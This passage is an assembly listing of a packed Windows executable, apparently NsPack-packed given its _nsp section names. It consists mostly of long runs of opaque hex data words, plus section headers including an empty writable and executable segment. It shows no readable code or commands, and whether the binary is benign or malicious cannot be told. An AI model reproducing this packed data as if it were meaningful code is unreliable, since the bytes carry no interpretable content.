dd 60DD80A4h, 670A3566h, 0A41FB4FDh, 0FEE3B79Ch, 1286FB67h
dd 5C996875h, 0F5B5C76Fh, 45B0B6BDh, 28421981h, 0E0004476h
dd 0E38EBC0Eh, 7C5A0C9Ch, 5016CC86h, 95307D3Ah, 33164190h
dd 0D14AE57Ah, 0F223B1A0h, 5426DD72h, 929107AEh, 0F95F4E9Ah
dd 4DB4E3D2h, 4C153E1h, 0C42C19B1h, 623578D0h, 0CD4E3143h
dd 5FE37B90h, 3CE70EF6h, 2A6A17Eh, 0BAE650D3h, 86AF7547h
dd 6E840F06h, 54F45A34h, 0B889ED84h, 90F56A9Bh, 0A03B37B2h
dd 6041B247h, 0C3C72C9Ah, 5FE0939Dh, 6777F842h, 718CB62h
dd 0F1F28F27h, 62802C74h, 627BD60Bh, 0BB0C4050h, 8DD783Eh
dd 0D5FF265Ch, 553C887Fh, 2ADB1525h, 8790F589h, 0C4155F4Ch
dd 0D4D808BDh, 0E604BE9h, 97D84A84h, 1C02C99Dh, 13777D73h
dd 0BC2BC296h, 0E1514476h, 1CDF2BCh, 0EA06EB5Fh, 0B4338BC4h
dd 2B55B511h, 1FC8B8A9h, 0C8C3190Ah, 6F9BB2A8h, 3EF540F4h
dd 0F37FE4F8h, 9415B2B2h, 0E0F1565h, 0CB7409E4h, 642DC2FCh
dd 0F807FC0Dh, 8B788C3Bh, 0F6A7C10Eh, 53083892h, 0E975F2D7h
dd 818024Eh, 28D9AC8Ah, 0BBCE3244h, 96324036h, 307F7593h
dd 0BB186992h, 79593A4h, 0EACF381Dh, 9BE41007h, 5C6E291Eh
dd 73071E10h, 0C4963022h, 33164BAh, 0CA3055Dh, 20821564h
dd 874BA94Ah, 47D5E62h, 176824Ah, 92225296h, 18745FA7h
dd 69A18B87h, 47959913h, 34F8BC61h, 10C988F6h, 7368469h
dd 0FE2E7DC0h, 0C98C5186h, 0A1CB6BEBh, 0AFA927CBh, 5991C8Eh
dd 0DE191DCBh, 401593EFh, 0ECFD05C6h, 8BE5E188h, 216D6ECDh
dd 0DE95BF4Dh, 15019126h, 0DC0B8A4Fh, 0D0ED481Dh, 9E14D081h
dd 53901AD8h, 86E68655h, 64E8A552h, 0F2B35D23h, 0E0886963h
dd 8812B838h, 0BD600A0Fh, 405F7ADh, 0E252E814h, 0B51CC19Bh
dd 0C4102DCBh, 48952192h, 0F800DBA0h, 91806738h, 8D37A87Ah
dd 88B9F239h, 6A3CE91Ah, 9F30146h, 41E38DDCh, 0A5B091E7h
dd 0AA519556h, 1096F7FDh, 0DE9C9D3Eh, 0D123900Ch, 1DE270D5h
dd 0E3C748F3h, 2E74753Bh, 9DDCD8F0h, 24A7457Ah, 2D4FD214h
dd 7168AC4Ch, 0AEA65DD0h, 0D5419206h, 73AC530Bh, 4F213319h
dd 0FC4DEE2Fh, 0A5757823h, 0D94255B7h, 0BFE2BB5Fh, 73F514B2h
dd 9796C10Bh, 9C47AFBBh, 0A04A1AEBh, 0AF20F824h, 3128CCBFh
dd 0BF98F3C5h, 0CC0E1EAAh, 57B861D4h, 93A47E2h, 0F556D31Ch
dd 0A7427F5Ah, 1F82B725h, 9B2F5CFAh, 935149E8h, 25BAB8AFh
dd 0CBAC7FC4h, 5CDB7180h, 0DB7973B8h, 5753BB6Fh, 0B6BCEF94h
dd 1CEC8EE9h, 0EF73E2DFh, 8875BA7Eh, 0CAFE3086h, 8A2F84F0h
dd 6C0A155Fh, 741F3BA7h, 5EDE8957h, 1D3EEE1Dh, 5C21F337h
dd 0DBA0BE71h, 9C948940h, 0ECA4B2EDh, 0C17CA3EFh, 0F2EE1242h
dd 0BCCD630Ah, 0AB9FFAB9h, 40DFD42Eh, 26825F5Dh, 0E10A9132h
dd 8B80EC66h, 4DA1354Fh, 94A51E19h, 4A533C39h, 51A6962Eh
dd 0E46DCAC7h, 0C9BD9BDDh, 0E61480EBh, 0A56BC11Eh, 31FD01E9h
dd 0D6034386h, 0A9DB1434h, 89D28DC0h, 699B63A9h, 56344DA5h
dd 0C32C2037h, 0F7C3CFAh, 0FD71B327h, 2A88BEB1h, 0B3BD38AEh
dd 5FD55024h, 1CAF424Dh, 0F719374Ah, 6CD90157h, 0AD3C45A7h
dd 0F26DE7D1h, 39EF6321h
dd 0B8A0ED9Fh, 6BF5E191h, 6881D506h, 7A54FF4Eh, 3BFF08A0h
dd 0B8CC9D4Bh, 8F74C7CBh, 5FBDCA06h, 1C8F213Eh, 19E31D77h
dd 0D018B968h, 0C5D4E217h, 0AEAA81BAh, 5C3B4D24h, 38205BD4h
dd 0C3120E10h, 238DE8F9h, 13BC8558h, 0D7558326h, 89F3D4A8h
dd 2FC8FE6Bh, 0A659846Ah, 7856FFCh, 59922EDCh, 485E8F0h
dd 834143D4h, 0ACCD77F0h, 71ECF835h, 2C7243E4h, 205D3904h
dd 3780BE28h, 0C8D55CA9h, 1E947F2Eh, 10B06991h, 9B413AD2h
dd 0AF796B93h, 787B98C6h, 7389563Eh, 37A698DCh, 0B7FC23FBh
dd 0E7003319h, 0AF80AFDh, 0E2BD95D7h, 28D32586h, 331BC5E5h
dd 0BE25E0C3h, 0FFF6B5DFh, 86E4EC0Dh, 8A6560F3h, 4FBB5DE7h
dd 0EA788E0h, 0A63DAE6Fh, 0AD601B21h, 83BF090Fh, 1A849767h
dd 81DDE5F0h, 0DB9BF996h, 45AB9E8Fh, 0B851392h, 898D394Ch
dd 72C5E011h, 2D3FE1FAh, 0BBD9F819h, 616F9046h, 0C5CF6B76h
dd 6A77262Fh, 20967295h, 0E5D2C231h, 8C71A1E0h, 3C1A4010h
dd 8556310Dh, 248CEE38h, 0C62DD398h, 4F99F06Ch, 0A094A250h
dd 6FC46B4Bh, 17FCA58Ch, 654920B4h, 0F213FCEDh, 0FD5F9E1Bh
dd 0B8FA1B80h, 735AD9DFh, 0B2C85BE4h, 72A4FE0Dh, 0BB909026h
dd 14CF3C2Bh, 7CD3769Ch, 232953F8h, 0F39D7305h, 4EC11DF3h
dd 7A16BC16h, 3BD20A7Dh, 0D1BE92h, 155A47F6h, 0E4C0A2CAh
dd 8EED4228h, 0F9FF6DF6h, 7666990Ah, 13C1E6E3h, 0A7A71F21h
dd 0A5D4A66Ah, 7341B69Ah, 8EED35A4h, 0EA625465h, 0F07AE93Eh
dd 0AA7EAEF6h, 0CF7A8F20h, 2AE27B01h, 2FD28202h, 63765666h
dd 860EAA79h, 0C345153Ch, 23B795CDh, 0D8202851h, 0ABFF941Ch
dd 1000FBBFh, 0C9360626h, 0F2C33386h, 0F3B38BF4h, 6EA6D29Dh
dd 24F0A328h, 119041C0h, 0DCA5B98Ah, 9CCDB01Ch, 0B269E5CBh
dd 0BE339B7Ah, 0F190BDD9h, 0B267E481h, 0EFF18907h, 249CE5CBh
dd 0F44B9DE0h, 0FD5060Fh, 2523F124h, 23267402h, 0CA9E5A2Dh
dd 0A3992BAAh, 6AF8B6FDh, 0F7C7AAD8h, 5AB76AFBh, 361AD527h
dd 97E234AFh, 16B4159Eh, 82D2A14Bh, 8C74E736h, 4A1AEDCEh
dd 91F82571h, 12FD8F67h, 0E3F2872Ch, 0F80201D1h, 0E23E19BFh
dd 0EB76319Bh, 0DDDC7FB7h, 6957169Bh, 4ADDB7D0h, 4CF8D219h
dd 870CDECCh, 0B9C23DB9h, 0BE08AF4Eh, 3299B821h, 149C2418h
dd 2DF4EBFAh, 9078FABBh, 48EC6D93h, 1D41C6FDh, 54ED7F65h
dd 2DBA572Eh, 0BE126BCh, 1BD5859h, 0A31FA31Ah, 91A00C9Dh
dd 45D4376h, 0D117B752h, 762BFC2Dh, 0B3E1A445h, 2349BE4h
dd 0E594EE72h, 0C7A79B70h, 601706D6h, 0C018BE64h, 95CD27A8h
dd 0F4D6FD81h, 0FCB60750h, 40B0B870h, 0A82A9DF2h, 6F4961FAh
dd 0D539DB5Ah, 0D2391DBDh, 0FC95C1E1h, 53C5E903h, 2366C995h
dd 3DA8694Eh, 433B5B38h, 0E2FE6E52h, 392F0522h, 3F9A9A1Fh
dd 15AC5794h, 0D5831102h, 14782BB5h, 88E8CC35h, 93960E58h
dd 0F132133Ch, 971D1D7Eh, 9A563F4Eh, 0F5B8FB19h, 2E83B821h
dd 555FFA7Fh, 66F73B70h, 67C44C2h, 0E94C9B89h, 3CEBD4E5h
dd 0E93C1779h, 8C46C85Fh, 2669A2D2h, 0D842620Bh, 0AB993EA6h
dd 4C5F9E9Ah, 0FADF730Dh, 3CC04FDBh, 0A3807EF2h, 5AC60F83h
dd 0FA2BA4B7h, 0E1AE7331h, 38252249h, 2B6D747Ch, 0C395A1D7h
dd 0FFDF824Eh, 0D50675B7h, 72C3A2FAh, 60D36F32h, 0B64A53A0h
dd 0B15367E1h, 8E2DAFCAh, 0C531FBE9h, 8C29D6EBh, 0A5A87ECh
dd 5BE59726h, 0CCE3BFA6h, 0A24F3CADh, 55C80554h, 0CD9347EEh
dd 0F5B302C5h, 0C93D1635h, 45538D69h, 0F8AE3D57h, 9364A079h
dd 1C523A56h, 737472Eh, 123FEC4Ch, 416EED78h, 0F1E2E9CBh
dd 17EC1969h, 329B2142h, 9BF341D0h, 6A05DB32h, 87C30634h
dd 39EF63C3h, 0B8A0ED9Fh, 6BF5E191h, 6881D506h, 7A54FF4Eh
dd 3BFF08A0h, 0B8CC9D4Bh, 8F74C7CBh, 5FBDCA06h, 1C8F213Eh
dd 19E31D77h, 0D018B968h, 0C5D4E217h, 0AEAA81BAh, 5C3B4D24h
dd 38205BD4h, 0C3120E10h, 238DE8F9h, 13BC8558h, 0D7558326h
dd 89F3D4A8h, 2FC8FE6Bh, 0A659846Ah, 7856FFCh, 59922EDCh
dd 485E8F0h, 834143D4h, 0ACCD77F0h, 71ECF835h, 2C7243E4h
dd 205D3904h, 3780BE28h, 0C8D55CA9h, 1E947F2Eh, 10B06991h
dd 9B413AD2h, 0AF796B93h, 787B98C6h, 7389563Eh, 37A698DCh
dd 0B7FC23FBh, 0E7003319h, 0AF80AFDh, 0E2BD95D7h, 28D32586h
dd 331BC5E5h, 0BE25E0C3h, 0FFF6B5DFh, 86E4EC0Dh, 8A6560F3h
dd 4FBB5DE7h, 0EA788E0h, 0A63DAE6Fh, 0AD601B21h, 83BF090Fh
dd 1A849767h, 81DDE5F0h, 0DB9BF996h, 45AB9E8Fh, 0B851392h
dd 898D394Ch, 72C5E011h, 2D3FE1FAh, 0BBD9F819h, 616F9046h
dd 0C5CF6B76h, 6A77262Fh, 20967295h, 0E5D2C231h, 8C71A1E0h
dd 3C1A4010h, 8556310Dh, 248CEE38h, 0C62DD398h, 4F99F06Ch
dd 0A094A250h, 6FC46B4Bh, 17FCA58Ch, 654920B4h, 0F213FCEDh
dd 0FD5F9E1Bh, 0B8FA1B80h, 735AD9DFh, 0B2C85BE4h, 72A4FE0Dh
dd 0BB909026h, 14CF3C2Bh, 7CD3769Ch, 232953F8h, 0F39D7305h
dd 4EC11DF3h, 7A16BC16h, 3BD20A7Dh, 0D1BE92h, 155A47F6h
dd 0E4C0A2CAh, 8EED4228h, 0F9FF6DF6h, 7666990Ah, 13C1E6E3h
dd 0A7A71F21h, 0A5D4A66Ah, 7341B69Ah, 8EED35A4h, 0EA625465h
dd 0F07AE93Eh, 200h dup(0)
_nsp1 ends
; Section 3. (virtual address 000A4000)
; Virtual size : 000009B2 ( 2482.)
; Section size in file : 000009B2 ( 2482.)
; Offset to raw data for section: 000A4000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp2 segment para public 'CODE' use32
assume cs:_nsp2
;org 4A4000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
dd 26Ch dup(0)
db 2 dup(0)
_nsp2 ends
; Section 4. (virtual address 000A5000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 000A4A00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 4A5000h
align 2000h
_idata2 ends
end start